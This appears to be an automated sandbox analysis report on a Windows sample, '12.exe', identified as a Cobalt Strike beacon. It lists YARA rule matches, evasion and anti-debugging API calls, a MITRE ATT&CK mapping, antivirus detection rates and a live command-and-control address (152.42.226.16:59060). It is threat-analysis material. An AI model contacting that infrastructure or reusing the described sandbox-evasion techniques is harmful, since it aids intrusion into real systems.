Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: crime_win32_csbeacon_1 date = 2020-03-16, author = @VK_Intel, description = Detects Cobalt Strike loader, reference = https://twitter.com/VK_Intel/status/1239632822358474753
Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_CobaltStrike author = ditekSHen, description = CobaltStrike payload
Source: Process Memory Space: 12.exe PID: 7324, type: MEMORYSTR	Matched rule: Windows_Trojan_CobaltStrike_ee756db7 os = windows, severity = x86, description = Attempts to detect Cobalt Strike based on strings found in BEACON, creation_date = 2021-03-23, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.CobaltStrike, fingerprint = e589cc259644bc75d6c4db02a624c978e855201cf851c0d87f0d54685ce68f71, id = ee756db7-e177-41f0-af99-c44646d334f7, last_modified = 2021-08-23
Source: Process Memory Space: 12.exe PID: 7324, type: MEMORYSTR	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: Process Memory Space: 12.exe PID: 7324, type: MEMORYSTR	Matched rule: WiltedTulip_ReflectiveLoader date = 2017-07-23, hash5 = eee430003e7d59a431d1a60d45e823d4afb0d69262cc5e0c79f345aa37333a89, hash4 = cf7c754ceece984e6fa0d799677f50d93133db609772c7a2226e7746e6d046f0, hash3 = a159a9bfb938de686f6aced37a2f7fa62d6ff5e702586448884b70804882b32f, hash2 = 1f52d643e8e633026db73db55eb1848580de00a203ee46263418f02c6bdb8c7a, hash1 = 1097bf8f5b832b54c81c1708327a54a88ca09f7bdab4571f1a335cc26bbd7904, author = Florian Roth, description = Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip, reference = http://www.clearskysec.com/tulip, license = https://creativecommons.org/licenses/by-nc/4.0/

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DB41CB LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,	0_2_00DB41CB
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DB41CB LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,	0_2_00DB41CB
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DB41CB LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,	0_2_00DB41CB
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DB41CB LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,	0_2_00DB41CB

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00DBA4E3 _memset,GetCurrentProcess,CreateToolhelp32Snapshot,Process32First,ProcessIdToSessionId,Process32Next,

0_2_00DBA4E3

Source: 12.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\12.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 12.exe

ReversingLabs: Detection: 94%

Source: C:\Users\user\Desktop\12.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\12.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\12.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\12.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\12.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\12.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\12.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\12.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\12.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\12.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\12.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\12.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\12.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\12.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\12.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\12.exe	Section loaded: winnsi.dll	Jump to behavior

Source: C:\Users\user\Desktop\12.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Data Obfuscation

Yara detected ReflectiveLoader

Source: Yara match	File source: 0.2.12.exe.db0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.12.exe.db0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.12.exe.d70000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.12.exe.d70000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 12.exe PID: 7324, type: MEMORYSTR

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00DB21D8 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00DB21D8

Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DCB3E9 push ecx; ret	0_2_00DCB3FC
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DC85D0 push eax; ret	0_2_00DC85D7
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00D8A7E9 push ecx; ret	0_2_00D8A7FC
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00D88720 push dword ptr [ecx-75h]; iretd	0_2_00D88728
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00D879D0 push eax; ret	0_2_00D879D7
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DCB3E9 push ecx; ret	0_2_00DCB3FC
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DDCBE1 push FFFFFFCBh; retf	0_2_00DDCBE5
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DC9320 push dword ptr [ecx-75h]; iretd	0_2_00DC9328
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DC85D0 push eax; ret	0_2_00DC85D7
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DE5D80 pushad ; retf	0_2_00DE5E79

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 59060
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 59060

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DB3685	0_2_00DB3685
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DB7E57	0_2_00DB7E57
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DB3685	0_2_00DB3685
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DB7E57	0_2_00DB7E57

Source: C:\Users\user\Desktop\12.exe	Window / User API: threadDelayed 1773			Jump to behavior
Source: C:\Users\user\Desktop\12.exe	Window / User API: threadDelayed 8104			Jump to behavior

Source: C:\Users\user\Desktop\12.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes			graph_0-40462
Source: C:\Users\user\Desktop\12.exe	Evasive API call chain: GetLocalTime,DecisionNodes			graph_0-40142

Source: C:\Users\user\Desktop\12.exe

API coverage: 7.5 %

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00DB7E57

0_2_00DB7E57

Source: C:\Users\user\Desktop\12.exe TID: 7328	Thread sleep count: 1773 > 30	Jump to behavior
Source: C:\Users\user\Desktop\12.exe TID: 7328	Thread sleep time: -17730000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\12.exe TID: 7340	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\12.exe TID: 7328	Thread sleep count: 8104 > 30	Jump to behavior
Source: C:\Users\user\Desktop\12.exe TID: 7328	Thread sleep time: -81040000s >= -30000s	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\12.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\12.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DBA70E _malloc,__snprintf,FindFirstFileA,_malloc,__snprintf,FindNextFileA,FindClose,	0_2_00DBA70E
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DB5225 _malloc,_memset,_strncmp,GetCurrentDirectoryA,FindFirstFileA,GetLastError,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindNextFileA,FindClose,	0_2_00DB5225
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DBA70E _malloc,__snprintf,FindFirstFileA,_malloc,__snprintf,FindNextFileA,FindClose,	0_2_00DBA70E

Source: C:\Users\user\Desktop\12.exe

Thread delayed: delay time: 60000

Jump to behavior

Source: 12.exe, 00000000.00000002.4124793161.0000000000793000.00000004.00000020.00020000.00000000.sdmp, 12.exe, 00000000.00000002.4124793161.000000000074E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\12.exe

API call chain: ExitProcess graph end node

graph_0-40316

Anti Debugging

Found potential dummy code loops (likely to delay analysis)

Source: C:\Users\user\Desktop\12.exe

Process Stats: CPU usage > 42% for more than 60s

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00DD9375 MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,IsDebuggerPresent,_RTC_GetSrcLine,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,DebugBreak,

0_2_00DD9375

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00DB21D8 GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_00DB21D8

Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DBB870 mov eax, dword ptr fs:[00000030h]	0_2_00DBB870
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DBABA0 mov eax, dword ptr fs:[00000030h]	0_2_00DBABA0
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00D7AC70 mov eax, dword ptr fs:[00000030h]	0_2_00D7AC70
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00D79FA0 mov eax, dword ptr fs:[00000030h]	0_2_00D79FA0
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DBB870 mov eax, dword ptr fs:[00000030h]	0_2_00DBB870
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DBABA0 mov eax, dword ptr fs:[00000030h]	0_2_00DBABA0

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00DB91C2 DeleteProcThreadAttributeList,GetProcessHeap,HeapFree,

0_2_00DB91C2

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_0040116C Sleep,Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,GetStartupInfoA,_cexit,_initterm,exit,	0_2_0040116C
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00401A5C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,	0_2_00401A5C
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00401A60 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,abort,	0_2_00401A60
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00401160 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,	0_2_00401160
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_004013C1 SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,	0_2_004013C1
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_004011A3 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,	0_2_004011A3
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DD0331 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00DD0331
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DCC4B2 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00DCC4B2
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DD2950 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00DD2950
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DD2950 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00DD2950
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DD0331 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00DD0331
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DCC4B2 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00DCC4B2

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 12.exe PID: 7324, type: MEMORYSTR

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00DBE272 LogonUserA,GetLastError,ImpersonateLoggedOnUser,GetLastError,

0_2_00DBE272

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00DBE442 GetCurrentProcessId,AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00DBE442

Source: C:\Users\user\Desktop\12.exe	Code function: GetLocaleInfoA,		0_2_00DD5EF0
Source: C:\Users\user\Desktop\12.exe	Code function: GetLocaleInfoA,		0_2_00DD5EF0

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_0040161C CreateNamedPipeA,ConnectNamedPipe,WriteFile,CloseHandle,

0_2_0040161C

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_004019A0 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_004019A0

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00DB7F09 GetUserNameA,GetComputerNameA,GetModuleFileNameA,_strrchr,GetVersionExA,__snprintf,

0_2_00DB7F09

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00DB7F09 GetUserNameA,GetComputerNameA,GetModuleFileNameA,_strrchr,GetVersionExA,__snprintf,

0_2_00DB7F09

Source: C:\Users\user\Desktop\12.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Remote Access Functionality

Yara detected CobaltStrike

Source: Yara match	File source: Process Memory Space: 12.exe PID: 7324, type: MEMORYSTR
Source: Yara match	File source: 0.2.12.exe.d70000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.12.exe.d70000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.4124957822.0000000000D70000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0.2.12.exe.db0000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.12.exe.db0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 12.exe, type: SAMPLE
Source: Yara match	File source: 0.2.12.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.12.exe.400000.0.unpack, type: UNPACKEDPE

Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DB85B7 socket,htons,ioctlsocket,closesocket,bind,listen,	0_2_00DB85B7
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DB8699 htonl,htons,socket,closesocket,bind,ioctlsocket,	0_2_00DB8699
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DBEDB3 socket,closesocket,htons,bind,listen,	0_2_00DBEDB3
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DBEDB3 socket,closesocket,htons,bind,listen,	0_2_00DBEDB3
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DB85B7 socket,htons,ioctlsocket,closesocket,bind,listen,	0_2_00DB85B7
Source: C:\Users\user\Desktop\12.exe	Code function: 0_2_00DB8699 htonl,htons,socket,closesocket,bind,ioctlsocket,	0_2_00DB8699

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	2 Valid Accounts	2 Valid Accounts	2 Valid Accounts	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	21 Access Token Manipulation	112 Virtualization/Sandbox Evasion	LSASS Memory	231 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Process Injection	21 Access Token Manipulation	Security Account Manager	112 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	1 Process Injection	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	111 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	1 Account Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 System Owner/User Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 File and Directory Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	14 System Information Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
12.exe	95%	ReversingLabs	Win32.Trojan.CobaltStrike
12.exe	100%	Avira	HEUR/AGEN.1344233
12.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://152.42.226.16:59060/cxj-v)	0%	Avira URL Cloud	safe
http://152.42.226.16:59060/cxS-i)	0%	Avira URL Cloud	safe
http://127.0.0.1:%u/	0%	Avira URL Cloud	safe
http://152.42.226.16:59060/cx26.16:59060/cx	0%	Avira URL Cloud	safe
152.42.226.16	0%	Avira URL Cloud	safe
http://152.42.226.16:59060/cx	0%	Avira URL Cloud	safe
http://152.42.226.16:59060/cxA-	0%	Avira URL Cloud	safe
http://152.42.226.16:59060/cxwshqos.dll.muip	0%	Avira URL Cloud	safe
http://152.42.226.16:59060/cxwshqos.dll.mui	0%	Avira URL Cloud	safe
http://152.42.226.16:59060/cx1.	0%	Avira URL Cloud	safe
http://152.42.226.16:59060/cxmswsock.dll.muiW=L)	0%	Avira URL Cloud	safe
http://152.42.226.16:59060/cxN-	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://152.42.226.16:59060/cx	true	Avira URL Cloud: safe	unknown
152.42.226.16	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://152.42.226.16:59060/cxwshqos.dll.muip	12.exe, 00000000.00000002.4124793161.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://152.42.226.16:59060/cx26.16:59060/cx	12.exe, 00000000.00000002.4124793161.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://152.42.226.16:59060/cxS-i)	12.exe, 00000000.00000002.4124793161.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.1:%u/	12.exe, 00000000.00000002.4124981749.0000000000DB0000.00000040.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://152.42.226.16:59060/cx1.	12.exe, 00000000.00000002.4124793161.0000000000793000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
